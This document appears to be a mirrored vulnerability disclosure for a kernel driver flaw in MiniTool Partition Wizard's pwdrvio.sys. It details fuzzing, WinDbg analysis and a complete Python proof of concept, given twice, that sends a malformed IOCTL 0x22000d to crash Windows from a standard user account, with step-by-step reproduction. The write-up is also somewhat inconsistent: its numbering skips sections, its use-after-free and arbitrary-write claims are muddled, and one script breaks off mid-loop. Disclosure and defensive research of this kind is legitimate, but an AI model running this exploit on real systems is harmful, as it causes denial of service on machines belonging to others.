Share
## https://sploitus.com/exploit?id=FF8BA0EC-E718-5A22-8B44-BFC902342407
# CVE-2026-36980-Kernel-BSOD-DoS-PoC
Project Date : Feb 2026 / Discovered a buffer overflow vulnerability in the IOCTL handler of the pwdrvio.sys kernel driver. The vulnerability allows an unprivileged local attacker to corrupt kernel pool memory, triggering an immediate system crash (BSOD) and Denial of Service.
https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101
**Denial of Service (DoS)**
**Severity:** MEDIUM
**CVSS 3.1 Score:** 5.5 (DoS)
**CVSS Vector String:**
- DoS: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H`
**Buffer Overflow โ Denial of Service (CVSS 5.5 - MEDIUM)**
- Triggers Blue Screen of Death (BSOD)
- Standalone exploitation (no debugger required)
- Caused by buffer overflow via IOCTL 0x22000d
- Consistent crash across all tested configurations
**Attack Prerequisites:**
- Local access to the target system
- Standard user account (non-administrator)
- MiniTool Partition Wizard installed or uninstalled (pwdrvio.sys driver loaded)
**Exploitation Results:** **DoS** - Immediate system crash, service unavailability
## Vulnerability Discovery Timeline
### Phase 1: Initial Fuzzing and BSOD Discovery
**Date:** February 5, 2026
**Activity:** Systematic kernel driver fuzzing using custom Python fuzzer
**Discovery Process:**
1. **Target Selection:**
- Enumerated installed kernel drivers on Windows 10 VM
- Identified `pwdrvio.sys` as oldest driver (timestamp: June 16, 2009)
- Driver file: `C:\Windows\System32\drivers\pwdrvio.sys`
- Device object: `\\.\PartitionWizardDiskAccesser\0`
2. **Initial Fuzzing:**
- Developed Python fuzzer using `ctypes` to interface with driver
- Sent randomized data via `WriteFile/DeviceIoControl` to driver device
- **Result:** Multiple Blue Screens of Death (BSOD)
3. **Verifier Activation:**
- Enabled Driver Verifier for enhanced crash detection
```cmd
verifier /standard /driver pwdrvio.sys
```
**Verifier Configuration:**
```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
```
### Phase 2: WinDbg Kernel Debugging Setup
**Date:** February 5-6, 2026
**Activity:** Established kernel debugging environment for root cause analysis
**Setup Procedure:**
1. **VMware Serial Port Configuration:**
```
VMware Workstation Pro โ VM Settings
โโ Add Hardware โ Serial Port
โโ Connection: "Use named pipe"
โโ Path: \\.\pipe\com_1
โโ End: "This is the server"
โโ I/O Mode: "Yield CPU on poll" โ
```
2. **Guest OS Configuration:**
```cmd
REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0
```
3. **Host WinDbg Connection:**
```
WinDbg โ File โ Attach to Kernel
โโ Port: \\.\pipe\com_1
โโ Baud Rate: 115200
โโ Pipe: โ
โโ Reconnect: โ
Result: "Kernel Debugger connection established."
```
### Phase 3: Root Cause Analysis - Arbitrary Write Discovery
**Date:** February 6, 2026
**Activity:** Identified arbitrary kernel write primitive
**Analysis Steps:**
1. **Module Analysis:**
```
1: kd> lm m pwdrvio
start end module name
fffff805`315f0000 fffff805`315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
\Driver\pwdrvio
DriverEntry: fffff805`315f6008
DriverUnload: fffff805`315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805`315f108c
[02] IRP_MJ_CLOSE fffff805`315f12f8
[03] IRP_MJ_READ fffff805`315f16c4
[04] IRP_MJ_WRITE fffff805`315f1564 โ Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
```
2. **Vulnerable Instruction Discovery:**
Set breakpoint on write handler:
```
1: kd> bp pwdrvio+0x1641
1: kd> g
Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
```
**Critical Finding:** Arbitrary write primitive identified!
- Instruction writes kernel pointer (`RAX`) to address `[R11-0x10]`
- `R11` is loaded from stack frame: `mov r11, qword ptr [rbp+0xB8h]`
- No validation performed on destination address
3. **Register State Analysis:**
```
0: kd> r
rax=fffff805315f1364 โ Kernel code pointer
r11=ffffe60f84c38750 โ Destination address (controlled via stack)
rbp=ffffe60f84c38610 โ IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f`84c386c8 ffffe60f`84c38750 โ R11 loaded from here
```
### Phase 4: UAF to Arbitrary Write Analysis
**Date:** February 6-7, 2026
**Activity:** Traced vulnerability from User-After-Free to write-what-where condition
**Memory Corruption Chain:**
1. **IRP Allocation:**
```
0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets
```
2. **Buffer Relationship:**
```
0: kd> r rsi
rsi=ffffe60f828df900 โ User buffer location
0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0 โ 35MB difference!
```
**Analysis:** User buffer is NOT directly accessible from RBP frame
- RBP points to IRP structure in kernel pool
- User buffer is in different memory region
- `RBP+0xB8` offset does not point into user-controlled buffer
3. **Use-After-Free Condition:**
The driver maintains dangling pointers in the IRP structure:
```c
// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
```
### Phase 6: Denial of Service Identification
**Date:** February 8, 2026
**Activity:** Discovered standalone DoS vulnerability
**Discovery:**
1. **IOCTL Fuzzing:**
- Tested various IOCTL codes with malformed buffers
- Identified IOCTL `0x22000d` as vulnerable
2. **Crash Mechanism:**
```python
# Vulnerable parameters
TARGET_IOCTL = 0x22000d
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value!
DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
real_output_buffer, fake_output_length, ...)
```
3. **Driver Behavior:**
- Driver trusts user-supplied output buffer length
- Attempts to write 8192 bytes into 4-byte buffer
- Buffer overflow โ Pool corruption โ BSOD
**Verifier Output:**
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type
PROCESS_NAME: python.exe
```
## Vulnerability #2: Denial of Service (DoS)
### CWE Classification
- **CWE-120:** Buffer Copy without Checking Size of Input
- **CWE-119:** Improper Restriction of Operations within Memory Buffer
- **CWE-248:** Uncaught Exception
### Vulnerability Details
**Location:** `pwdrvio.sys` IOCTL handler
**Vulnerable IOCTL:** 0x22000d
**Trigger Mechanism:**
```python
import ctypes
from ctypes import wintypes
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d
kernel32 = ctypes.windll.kernel32
# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4) # Only 4 bytes!
fake_output_length = 8192 # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)
# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL,
input_buf, 1024,
real_output_buffer, fake_output_length, # โ Overflow!
ctypes.byref(bytes_returned), None)
```
**Crash Behavior:**
With Driver Verifier enabled:
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted
Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)
Process triggering crash: python.exe (standard user)
```
Without Driver Verifier:
```
SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000
Result: Blue Screen of Death
```
### Full Code & Exploitation
**Code:**
``` Python
import ctypes
from ctypes import wintypes
# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[!] MiniTool DoS...")
# 1. Connect Driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Couldnt Connect.")
return
# 2. Preperation
# IOCTL from Fuzzer
TARGET_IOCTL = 0x22000d
# Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
in_size = 1024
input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
# Output Trap: Standard 4 byte, 8192 byte in Driver
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192
bytes_returned = wintypes.DWORD(0)
print("[+] Wait for BSoD...")
# 3. Loop (Pool Corruption)
while True:
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
in_size,
real_output_buffer,
fake_output_length, # & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py
```
## Proof of Concept & Reproduction Steps
### Prerequisites
**Test Environment:**
- **Operating System:** Windows 10 Home Build 19045.6466
- **Architecture:** x64
- **MiniTool Version:** Partition Wizard 13.5
- **Driver:** pwdrvio.sys (dated June 16, 2009)
- **User Account:** Standard user (non-administrator)
**Required Tools:**
- **For LPE:** WinDbg (Windows Debugger), VMware Workstation
- **For DoS:** Python 3.x with ctypes
### Reproduction #1: Denial of Service (Standalone)
**Step 1: Verify Driver Installation**
```cmd
C:\> sc query pwdrvio
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
```
**Step 2: Enable Driver Verifier (Optional but Recommended)**
```cmd
REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys
REM Verify configuration
C:\> verifier /query
Verifier Flags: 0x001209bb
Standard Flags:
[X] 0x00000001 Special pool
[X] 0x00000002 Force IRQL checking
[X] 0x00000008 Pool tracking
[X] 0x00000010 I/O verification
[X] 0x00000020 Deadlock detection
[X] 0x00000080 DMA checking
[X] 0x00000100 Security checks
[X] 0x00000800 Miscellaneous checks
[X] 0x00020000 DDI compliance checking
Driver Verification List:
MODULE: pwdrvio.sys (load: 1 / unload: 0)
REM Reboot for verifier to take effect
C:\> shutdown /r /t 0
```
**Step 3: Create DoS Exploit Script**
Save as `dos_exploit.py`:
```python
import ctypes
from ctypes import wintypes
# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32
# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD,
wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD,
wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE
kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID,
wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD,
ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL
def trigger_bsod():
print("[*] MiniTool pwdrvio.sys DoS Exploit")
print("[*] Triggering Blue Screen of Death...")
# Open device
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
if handle == wintypes.HANDLE(-1).value or handle is None:
print("[-] Failed to open driver")
print("[-] Ensure MiniTool Partition Wizard is installed")
return
print("[+] Driver opened successfully")
# Vulnerable IOCTL code
TARGET_IOCTL = 0x22000d
# Input buffer: 1024 bytes of 0xFF
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
# Output buffer: Only 4 bytes (but claim 8192!)
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192 # Driver trusts this value โ Overflow!
bytes_returned = wintypes.DWORD(0)
print("[!] Sending malicious IOCTL...")
print("[!] System will crash in 3...2...1...")
# Trigger buffer overflow โ BSOD
kernel32.DeviceIoControl(
handle,
TARGET_IOCTL,
input_buf,
1024,
real_output_buffer,
fake_output_length, # โ Vulnerability trigger
ctypes.byref(bytes_returned),
None
)
# This line will never execute
print("[*] If you see this, the exploit failed")
if __name__ == "__main__":
trigger_bsod()
```
**Step 4: Execute Exploit (Standard User)**
```cmd
C:\> whoami
desktop-lfkkhu2\standard_user
C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...
[System immediately crashes with BSOD]
```
**Expected Result:**
Blue Screen with stop code:
```
DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
```
or
```
SYSTEM_SERVICE_EXCEPTION (3b)
```
**Verification:** System crash confirms DoS vulnerability
**MiniTool Software:**
```
Product: MiniTool Partition Wizard
Version: 13.5
Installation Path: C:\Program Files\MiniTool Partition Wizard
Driver Path: C:\Windows\System32\drivers\pwdrvio.sys
Driver Date: June 16, 2009 (0x4A36F8D1)
Driver Size: 32,256 bytes
```
**Testing Tools:**
```
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
```
## Affected Versions
### Confirmed Vulnerable
**Primary Product:**
- MiniTool Partition Wizard 13.5
- All previous versions using pwdrvio.sys
**Driver Details:**
```
File Name: pwdrvio.sys
File Version: [Not available]
File Size: 32,256 bytes (31.5 KB)
Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature: [Signed by vendor]
Device Name: \\.\PartitionWizardDiskAccesser\0
Service Name: pwdrvio
Load Order: Boot Start (SERVICE_BOOT_START)
```
### Potentially Affected
Other MiniTool products that may use the same driver:
- MiniTool Power Data Recovery
- MiniTool Partition Wizard Bootable Edition
- MiniTool ShadowMaker
**Note:** Each product should be tested individually for confirmation.
### Operating System Compatibility
**Tested and Confirmed Vulnerable:**
- Windows 10 Home Build 19045.6466 (x64)
**Likely Vulnerable (untested):**
- Windows 7 (x64)
- Windows 8 / 8.1 (x64)
- Windows 10 (all builds, x64)
- Windows 11 (x64)
- Windows Server 2008 R2 and later
**Reason:** Driver is compatible with all modern Windows versions and contains no version-specific checks.
## Legal Disclaimer
This vulnerability disclosure report is provided for:
1. Security research and education
2. Vendor notification and patch development
3. Protection of end users
4. Academic and defensive security purposes
**Prohibited Uses:**
- Unauthorized access to computer systems
- Malicious exploitation
- Any illegal activity
The researcher conducted all testing on personally owned systems in controlled environments. No unauthorized access to third-party systems was performed.
**Report Version:** 1.0
**Last Updated:** February 9, 2026